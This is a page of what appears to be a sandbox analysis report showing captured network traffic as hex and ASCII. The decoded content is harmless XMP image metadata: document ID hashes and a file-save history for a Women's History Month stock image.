2022-06-08 07:56:16 UTC 2314 IN Data Raw: 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 35 37 32 30 43 39 36 39 44 
34 32 34 33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 39 54 31 30 3a 
32 31 3a 34 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 6f 6d 65 6e 73 48 69 73 74 6f 72 79 4d 6f 6e 74 
68 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 57 6f 6d 65 6e 73 48 69 73 74 6f 72 79 4d 6f 6e 74 68 5f 47 65 74 
74 79 49 6d 61 67 65 73 2d 35 31 38 36 38 31 35 33 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 38 2d 30 33 2d 30 39 54 31 30 3a 32 37 2d 30 
Data Ascii: x1920_PortraitEC99340B50F7D5720C969D4243149667.psb saved&#xA;2018-03-09T10:21:42-08:00&#
x9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\WomensHistoryMonth\CHOSEN\Crops\MS-WomensHistoryMon
th_GettyImages-518681539_1080x1920.jpg saved&#xA;2018-03-09T10:27-0

2022-06-08 07:56:16 UTC 2402 IN Data Raw: 69 3e 30 33 37 45 45 46 43 44 32 42 44 41 41 34 44 34 35 38 37 33 39 37 39 42 46 42 33 43 36 34 30 35 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 38 36 36 46 41 33 31 30 38 32 44 43 35 35 30 35 42 42 31 45 45 
36 35 41 38 45 32 38 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 38 36 43 35 45 30 46 37 45 34 
30 31 42 37 34 44 38 39 31 45 42 42 35 33 41 35 39 36 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 3
3 38 43 34 42 41 42 45 39 44 46 36 46 45 35 31 46 34 41 39 44 45 34 42 43 44 35 30 46 32 45 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 30 33 39 39 35 38 31 30 33 46 42 37 34 38 38 38 43 38 43 37 43 35 43 30 36 38 41 44 44 
44 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 42 
Data Ascii: i>037EEFCD2BDAA4D45873979BFB3C6405</rdf:li> <rdf:li>03866FA31082DC5505BB1EE65A8E28AE</rd
f:li> <rdf:li>0386C5E0F7E401B74D891EBB53A596CE</rdf:li> <rdf:li>038C4BABE9DF6FE51F4A9DE4BCD50F2E</rdf:li> 
<rdf:li>039958103FB74888C8C7C5C068ADDDD1</rdf:li> <rdf:li>03B

2022-06-08 07:56:16 UTC 2466 IN Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 43 44 42 46 34 43 32 33 34 36 37 46 35 41 37 46 
35 33 31 35 33 45 36 42 41 38 35 42 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 43 46 32 38 44 
45 38 38 39 37 35 36 37 31 31 36 35 33 30 34 36 38 39 33 46 32 34 41 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 31 30 44 35 30 46 32 37 36 37 45 46 45 45 35 31 39 39 46 30 43 41 46 43 32 32 37 37 39 35 45 43 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 44 42 33 46 41 30 30 38 42 43 46 43 44 30 30 33 43 43 31 41 41 44 
39 44 33 44 46 41 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 44 43 41 37 36 31 43 31 32 32 41 
39 43 37 39 46 32 35 45 37 31 38 46 35 43 34 35 32 38 32 3c 2f 72 64 66 
Data Ascii: </rdf:li> <rdf:li>10CDBF4C23467F5A7F53153E6BA85BB8</rdf:li> <rdf:li>10CF28DE889756711653
046893F24A8D</rdf:li> <rdf:li>10D50F2767EFEE5199F0CAFC227795EC</rdf:li> <rdf:li>10DB3FA008BCFCD003CC
1AAD9D3DFA7E</rdf:li> <rdf:li>10DCA761C122A9C79F25E718F5C45282</rdf
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2022-06-08 07:56:16 UTC 2537 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 30 42 42 41 45 30 37 39 33 30 44 42 31 35 38 45 41 
31 32 36 33 38 42 36 41 43 36 45 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 32 34 33 34 30 33 
41 43 30 30 43 37 34 30 44 42 45 46 33 39 35 31 30 44 37 35 42 34 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 31 37 34 38 35 32 42 43 41 38 33 32 43 32 42 30 35 31 32 34 39 33 39 46 35 32 31 39 46 30 41 39 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 35 30 35 36 43 35 35 32 30 38 32 39 42 35 41 31 32 30 44 42 37 39 35 
30 45 37 37 45 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 35 30 42 45 33 45 37 32 44 42 32 31 
33 36 32 43 32 34 37 37 32 36 34 33 44 41 30 33 37 31 3c 2f 72 64 66 3a 6c 
Data Ascii: rdf:li> <rdf:li>170BBAE07930DB158EA12638B6AC6E21</rdf:li> <rdf:li>17243403AC00C740DBEF39
510D75B45D</rdf:li> <rdf:li>174852BCA832C2B05124939F5219F0A9</rdf:li> <rdf:li>175056C5520829B5A120DB
7950E77E4F</rdf:li> <rdf:li>1750BE3E72DB21362C24772643DA0371</rdf:l

2022-06-08 07:56:16 UTC 2601 IN Data Raw: 39 35 35 35 41 45 37 30 32 38 43 31 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 34 39 
46 39 45 44 43 42 34 38 43 39 37 30 44 35 37 38 37 36 42 32 31 42 38 35 32 44 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 32 35 35 30 41 38 33 42 39 44 42 45 42 43 39 33 31 44 43 33 32 33 33 38 38 35 39 30 46 36 31 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 35 31 34 32 41 31 42 33 45 44 35 32 32 42 45 39 34 34 31 4
5 30 35 35 32 31 43 31 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 36 46 37 31 35 42 43 45 30 
31 37 36 45 41 43 38 32 32 41 34 35 36 38 35 33 43 39 42 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
32 35 36 46 42 32 30 44 35 42 44 39 39 35 41 37 38 38 35 31 42 31 41 
Data Ascii: 9555AE7028C12F</rdf:li> <rdf:li>2549F9EDCB48C970D57876B21B852D33</rdf:li> <rdf:li>2550A8
3B9DBEBC931DC323388590F614</rdf:li> <rdf:li>255142A1B3ED522BE9441E05521C1A58</rdf:li> <rdf:li>256F71
5BCE0176EAC822A456853C9BA7</rdf:li> <rdf:li>256FB20D5BD995A78851B1A

2022-06-08 07:56:16 UTC 2617 IN Data Raw: 38 41 45 37 44 38 41 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 33 34 35 31 44 30 38 
45 45 34 36 31 37 34 45 33 37 42 32 45 39 34 35 37 33 41 31 32 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 33 31 33 44 34 39 30 35 43 34 46 44 36 30 34 32 31 35 39 35 45 43 35 44 31 35 31 37 37 45 45 32 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 34 44 44 44 36 37 37 45 45 44 37 42 43 32 36 32 36 31 35 44 32 46 30 44 
41 38 39 33 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 36 33 39 38 34 45 45 30 41 30 33 34 32 
38 32 41 36 46 31 34 35 37 39 31 36 36 33 44 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 36 46 
38 34 46 30 45 44 46 46 42 39 37 34 46 35 35 32 42 31 34 33 30 36 42 33 
Data Ascii: 8AE7D8A0B</rdf:li> <rdf:li>313451D08EE46174E37B2E94573A1259</rdf:li> <rdf:li>313D4905C4F
D60421595EC5D15177EE2</rdf:li> <rdf:li>314DDD677EED7BC262615D2F0DA89358</rdf:li> <rdf:li>3163984EE0A
034282A6F145791663D80</rdf:li> <rdf:li>316F84F0EDFFB974F552B14306B3

2022-06-08 07:56:16 UTC 2712 IN Data Raw: 42 42 35 42 30 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 32 33 37 37 34 39 37 33 37 
39 41 44 34 44 42 44 44 43 36 41 38 36 32 36 44 30 35 41 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
33 38 33 31 39 41 36 42 37 39 44 31 36 35 36 42 33 30 32 46 45 33 39 36 36 33 34 30 38 32 41 31 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 34 33 44 41 32 37 33 46 43 42 42 36 43 30 44 42 34 44 36 41 37 39 32 46 30 46 
44 34 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 35 30 39 37 43 35 30 45 37 35 45 43 43 31 30 
33 43 45 31 32 38 33 34 34 37 38 41 34 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 35 42 30 32 
38 44 41 33 45 42 38 37 36 38 33 42 38 32 33 39 32 46 32 31 34 33 33 33 
Data Ascii: BB5B01C</rdf:li> <rdf:li>382377497379AD4DBDDC6A8626D05A64</rdf:li> <rdf:li>38319A6B79D16
56B302FE396634082A1</rdf:li> <rdf:li>3843DA273FCBB6C0DB4D6A792F0FD4AD</rdf:li> <rdf:li>385097C50E75E
CC103CE12834478A47B</rdf:li> <rdf:li>385B028DA3EB87683B82392F214333

2022-06-08 07:56:16 UTC 2776 IN Data Raw: 42 39 43 32 37 45 36 31 46 33 42 35 37 32 46 31 35 39 37 37 35 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 34 35 33 34 39 34 43 35 32 41 46 37 34 41 35 43 43 34 33 45 34 39 36 37 31 32 36 37 43 44 41 31 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 34 32 45 37 42 42 38 30 46 39 30 41 33 36 37 43 31 39 34 41 44 
32 32 37 44 35 42 35 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 34 34 43 42 36 33 44 42 45 45 3
3 46 31 34 34 36 34 41 35 39 41 41 46 43 46 37 39 39 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 
36 35 32 43 31 39 42 44 33 35 39 34 41 34 45 35 36 32 37 35 43 42 46 39 33 34 44 45 38 31 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 34 35 36 45 43 35 37 30 42 35 38 46 35 46 
Data Ascii: B9C27E61F3B572F15977527</rdf:li> <rdf:li>453494C52AF74A5CC43E49671267CDA1</rdf:li> <rdf:
li>4542E7BB80F90A367C194AD227D5B50C</rdf:li> <rdf:li>4544CB63DBEE3F14464A59AAFCF79954</rdf:li> <rdf:
li>45652C19BD3594A4E56275CBF934DE81</rdf:li> <rdf:li>456EC570B58F5F

2022-06-08 07:56:16 UTC 2832 IN Data Raw: 72 64 66 3a 6c 69 3e 35 32 35 30 30 43 38 35 38 35 35 34 31 34 37 44 45 44 30 44 30 37 33 33 35 34 30 39 
43 41 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 35 32 45 39 41 41 33 36 39 44 43 35 46 39 35 
42 45 42 37 46 44 36 46 30 36 39 42 31 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 35 43 44 35 3
3 30 43 34 31 32 31 44 34 30 33 39 32 46 39 35 43 42 30 31 36 43 33 46 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 35 32 36 32 35 33 34 41 46 43 38 30 35 36 46 42 44 43 37 41 45 39 36 39 33 35 30 33 37 45 46 46 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 36 43 45 31 41 31 45 37 37 44 36 35 43 38 32 30 45 38 30 43 43 43 
34 38 36 36 46 46 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: rdf:li>52500C858554147DED0D07335409CA9B</rdf:li> <rdf:li>5252E9AA369DC5F95BEB7FD6F069B1E
3</rdf:li> <rdf:li>525CD530C4121D40392F95CB016C3FCD</rdf:li> <rdf:li>5262534AFC8056FBDC7AE96935037EF
F</rdf:li> <rdf:li>526CE1A1E77D65C820E80CCC4866FF8E</rdf:li> <rdf:l

2022-06-08 07:56:16 UTC 2887 IN Data Raw: 66 3a 6c 69 3e 35 39 31 37 38 45 43 42 44 33 42 39 37 31 35 36 44 45 34 46 42 32 32 37 39 35 39 39 33 34 
33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 33 30 31 38 44 35 41 46 42 44 42 33 41 30 37 46 46 
46 31 46 43 30 46 35 32 43 30 46 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 33 31 32 34 46 35 4
3 44 42 39 45 34 42 45 39 34 41 35 35 32 45 46 44 43 41 35 31 42 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 35 39 34 31 33 35 39 43 38 37 46 32 30 46 30 32 42 46 33 45 46 39 37 33 33 45 37 46 33 46 35 44 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 35 32 45 35 41 38 43 32 34 45 45 42 46 34 30 31 33 34 46 35 45 44 31 30 
36 44 42 46 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: f:li>59178ECBD3B97156DE4FB22795993433</rdf:li> <rdf:li>593018D5AFBDB3A07FFF1FC0F52C0F93<
/rdf:li> <rdf:li>593124F5CDB9E4BE94A552EFDCA51B25</rdf:li> <rdf:li>5941359C87F20F02BF3EF9733E7F3F5D<
/rdf:li> <rdf:li>5952E5A8C24EEBF40134F5ED106DBF3F</rdf:li> <rdf:li>

2022-06-08 07:56:16 UTC 2975 IN Data Raw: 36 37 41 43 44 36 35 41 38 30 38 37 43 42 45 43 39 44 45 45 39 41 38 30 37 42 38 38 33 30 42 30 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 42 34 37 38 33 42 37 36 44 37 41 34 33 37 31 32 38 34 36 42 31 33 
31 46 38 41 43 30 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 42 34 46 35 46 36 36 35 35 41 39 3
1 34 33 44 46 34 32 41 37 46 36 41 32 33 45 45 34 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 42 
35 37 34 44 42 32 32 31 44 32 32 35 46 31 35 43 39 33 41 39 43 46 42 33 39 37 43 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 36 37 42 39 44 41 45 32 36 36 42 35 45 41 43 44 43 31 42 33 32 35 35 33 36 38 30 44 33 39 32 
43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 42 43 41 
Data Ascii: 67ACD65A8087CBEC9DEE9A807B8830B0</rdf:li> <rdf:li>67B4783B76D7A43712846B131F8AC014</rdf:li> 
<rdf:li>67B4F5F6655A9143DF42A7F6A23EE4FF</rdf:li> <rdf:li>67B574DB221D225F15C93A9CFB397C7A</rdf:li> <rdf:l
i>67B9DAE266B5EACDC1B32553680D392C</rdf:li> <rdf:li>67BCA

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 133 of 211



2022-06-08 07:56:16 UTC 2991 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 45 32 32 31 44 34 31 35 44 45 31 30 39 41 37 45 41 
41 44 37 46 30 42 42 45 31 44 33 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 45 43 32 34 43 41 
34 35 35 38 34 42 38 39 43 44 41 45 33 36 36 42 35 33 36 42 42 30 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 37 35 45 46 37 32 39 46 45 43 38 31 32 36 43 31 41 44 43 30 34 31 38 33 36 42 37 38 32 42 38 43 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 46 33 30 45 36 39 30 37 36 45 34 42 35 44 46 31 33 32 36 41 41 34 37 
38 45 45 32 46 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 46 37 45 39 36 31 33 42 31 44 32 46 
41 31 41 34 34 35 37 32 30 45 37 46 31 37 39 42 44 41 3c 2f 72 64 66 3a 6c 
Data Ascii: rdf:li> <rdf:li>75E221D415DE109A7EAAD7F0BBE1D3DC</rdf:li> <rdf:li>75EC24CA45584B89CDAE36
6B536BB0C8</rdf:li> <rdf:li>75EF729FEC8126C1ADC041836B782B8C</rdf:li> <rdf:li>75F30E69076E4B5DF1326A
A478EE2F6F</rdf:li> <rdf:li>75F7E9613B1D2FA1A445720E7F179BDA</rdf:l

2022-06-08 07:56:16 UTC 3062 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 34 41 41 44 45 37 46 41 42 45 36 45 32 32 31 34 41 36 35 
37 46 34 44 38 46 39 46 46 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 34 44 46 46 34 34 45 30 
31 36 30 36 45 35 30 31 39 34 44 34 39 31 36 31 44 42 32 33 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 37 43 36 32 36 45 38 37 34 30 32 35 46 39 34 36 42 32 34 37 36 46 39 44 42 37 33 33 41 31 30 45 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 37 33 36 38 35 42 39 37 35 30 45 41 46 32 35 35 44 36 45 46 42 38 39 38 30 37 
38 39 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 39 44 34 32 45 44 43 34 35 37 34 30 35 30 43 
30 33 37 44 31 39 39 31 30 42 33 39 37 32 46 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: f:li> <rdf:li>7C4AADE7FABE6E2214A657F4D8F9FFEB</rdf:li> <rdf:li>7C4DFF44E01606E50194D491
61DB23B0</rdf:li> <rdf:li>7C626E874025F946B2476F9DB733A10E</rdf:li> <rdf:li>7C73685B9750EAF255D6EFB8
980789F9</rdf:li> <rdf:li>7C9D42EDC4574050C037D19910B3972F</rdf:li>

2022-06-08 07:56:16 UTC 3109 IN Data Raw: 41 41 33 38 34 38 35 38 45 35 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 31 43 39 30 
44 34 36 44 32 43 34 35 38 42 33 34 30 45 30 31 33 46 44 37 37 41 35 46 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 38 39 32 30 39 36 41 35 43 43 45 42 33 37 34 32 38 37 33 33 39 41 43 37 39 46 36 30 38 33 43 39 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 32 32 41 38 37 44 35 39 44 36 33 44 32 42 36 45 31 36 31 36 45 
39 43 42 32 39 45 36 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 34 35 31 44 37 32 44 41 36 44 
38 31 42 36 34 46 44 33 33 44 46 32 31 45 33 30 42 43 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 
39 34 37 31 41 30 44 46 46 46 36 35 32 39 41 36 36 38 32 38 35 31 44 30 
Data Ascii: AA384858E5C3</rdf:li> <rdf:li>891C90D46D2C458B340E013FD77A5F05</rdf:li> <rdf:li>892096A5
CCEB374287339AC79F6083C9</rdf:li> <rdf:li>8922A87D59D63D2B6E1616E9CB29E6D1</rdf:li> <rdf:li>89451D72
DA6D81B64FD33DF21E30BC06</rdf:li> <rdf:li>89471A0DFFF6529A6682851D0

2022-06-08 07:56:16 UTC 3173 IN Data Raw: 41 30 45 45 38 43 32 43 31 41 42 41 34 38 32 32 36 33 32 42 42 36 39 36 38 36 36 30 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 39 37 44 36 41 44 44 35 32 37 44 39 38 38 32 34 46 45 46 38 46 34 45 44 31 34 32 34 35 
36 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 44 37 36 44 44 45 32 32 32 34 41 34 33 44 34 41 
31 45 36 31 43 41 36 37 36 43 46 44 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 44 41 39 43 32 3
6 33 39 46 42 38 34 34 42 35 31 37 34 30 42 42 30 42 39 42 30 46 39 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 39 37 45 33 38 42 32 46 33 41 42 36 31 45 32 36 43 33 32 38 35 46 31 46 37 39 30 38 42 34 42 34 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 45 35 42 39 43 45 38 
Data Ascii: A0EE8C2C1ABA4822632BB6968660</rdf:li> <rdf:li>97D6ADD527D98824FEF8F4ED142456A2</rdf:li> 
<rdf:li>97D76DDE2224A43D4A1E61CA676CFD65</rdf:li> <rdf:li>97DA9C2639FB844B51740BB0B9B0F982</rdf:li> 
<rdf:li>97E38B2F3AB61E26C3285F1F7908B4B4</rdf:li> <rdf:li>97E5B9CE8

2022-06-08 07:56:16 UTC 3245 IN Data Raw: 35 36 44 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 46 33 33 46 38 36 37 39 39 39 31 
43 33 32 36 35 39 46 45 39 36 30 35 42 30 44 46 38 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 
30 34 46 36 38 33 32 38 37 42 46 38 35 36 43 44 36 34 35 34 46 36 42 37 33 30 30 44 34 32 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 39 45 30 38 33 31 32 39 41 45 36 44 45 41 45 45 36 31 33 31 32 44 41 38 39 35 33 43 31 31 
32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 30 38 45 41 45 42 31 32 38 30 43 37 30 33 32 30 44 
32 35 32 42 42 30 30 31 41 34 44 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 30 45 39 44 44 41 
34 46 35 37 37 35 31 44 41 41 45 42 43 31 38 34 36 31 41 33 30 34 39 46 
Data Ascii: 56DBF</rdf:li> <rdf:li>9DF33F8679991C32659FE9605B0DF864</rdf:li> <rdf:li>9E04F683287BF85
6CD6454F6B7300D42</rdf:li> <rdf:li>9E083129AE6DEAEE61312DA8953C1120</rdf:li> <rdf:li>9E08EAEB1280C70
320D252BB001A4D15</rdf:li> <rdf:li>9E0E9DDA4F57751DAAEBC18461A3049F

2022-06-08 07:56:16 UTC 3300 IN Data Raw: 46 41 45 37 45 31 39 38 46 43 32 34 37 42 39 31 41 45 43 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 41 42 39 33 46 33 45 31 31 32 43 42 32 33 39 42 33 30 36 34 42 34 39 39 41 42 30 44 36 35 41 42 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 39 42 46 46 34 36 37 34 34 38 37 44 30 33 36 44 41 35 45 34 41 35 34 
31 34 36 41 31 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 39 44 35 44 42 32 38 43 39 30 46 37 3
8 43 37 45 41 36 34 42 45 44 38 39 31 34 44 30 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 42 31 
33 38 42 36 44 30 35 36 43 37 33 44 33 41 31 34 43 36 41 33 46 31 37 30 30 44 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 41 42 43 33 30 42 31 39 30 32 46 41 46 43 35 31 
Data Ascii: FAE7E198FC247B91AECDF</rdf:li> <rdf:li>AB93F3E112CB239B3064B499AB0D65AB</rdf:li> <rdf:li
>AB9BFF4674487D036DA5E4A54146A105</rdf:li> <rdf:li>AB9D5DB28C90F78C7EA64BED8914D0B8</rdf:li> <rdf:li
>ABB138B6D056C73D3A14C6A3F1700DC3</rdf:li> <rdf:li>ABC30B1902FAFC51

2022-06-08 07:56:16 UTC 3316 IN Data Raw: 66 3a 6c 69 3e 42 38 43 43 42 45 33 42 31 34 41 43 30 45 37 45 31 31 30 31 36 42 42 45 46 42 46 43 38 42 
36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 44 43 30 41 39 34 31 34 32 38 33 45 43 46 38 31 46 
45 42 36 32 43 36 30 34 44 37 36 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 45 30 30 39 43 34 3
8 36 44 39 41 36 30 46 43 35 43 37 38 30 33 37 41 41 45 44 35 37 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 42 38 45 32 35 38 46 46 45 31 31 38 35 31 35 34 39 44 38 37 45 44 43 31 44 35 36 41 36 37 43 35 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 45 37 36 32 32 41 31 38 46 41 45 36 41 42 46 38 45 46 37 32 42 30 42 37 
38 33 35 32 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: f:li>B8CCBE3B14AC0E7E11016BBEFBFC8B6F</rdf:li> <rdf:li>B8DC0A9414283ECF81FEB62C604D768A<
/rdf:li> <rdf:li>B8E009C486D9A60FC5C78037AAED5795</rdf:li> <rdf:li>B8E258FFE11851549D87EDC1D56A67C5<
/rdf:li> <rdf:li>B8E7622A18FAE6ABF8EF72B0B783523F</rdf:li> <rdf:li>

2022-06-08 07:56:16 UTC 3324 IN Data Raw: 6c 69 3e 42 46 41 45 31 36 39 33 46 41 30 35 44 41 37 42 37 38 42 33 38 37 32 42 45 42 31 34 38 45 35 30 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 42 31 32 39 46 38 37 46 45 30 44 46 44 41 30 30 46 44 33 
30 39 41 32 43 39 46 37 32 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 42 36 38 43 41 34 42 44 3
0 42 46 46 44 43 42 43 32 43 30 32 32 41 38 34 39 45 41 45 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
42 46 42 41 37 42 42 44 42 31 39 43 38 39 36 31 42 34 31 38 46 43 38 39 42 30 45 38 32 37 32 41 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 43 35 36 32 43 37 42 30 44 42 46 39 38 44 31 39 45 31 45 39 31 39 43 35 42 44 
42 31 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 
Data Ascii: li>BFAE1693FA05DA7B78B3872BEB148E50</rdf:li> <rdf:li>BFB129F87FE0DFDA00FD309A2C9F728E</r
df:li> <rdf:li>BFB68CA4BD0BFFDCBC2C022A849EAE6A</rdf:li> <rdf:li>BFBA7BBDB19C8961B418FC89B0E8272A</r
df:li> <rdf:li>BFC562C7B0DBF98D19E1E919C5BDB171</rdf:li> <rdf:li>BF
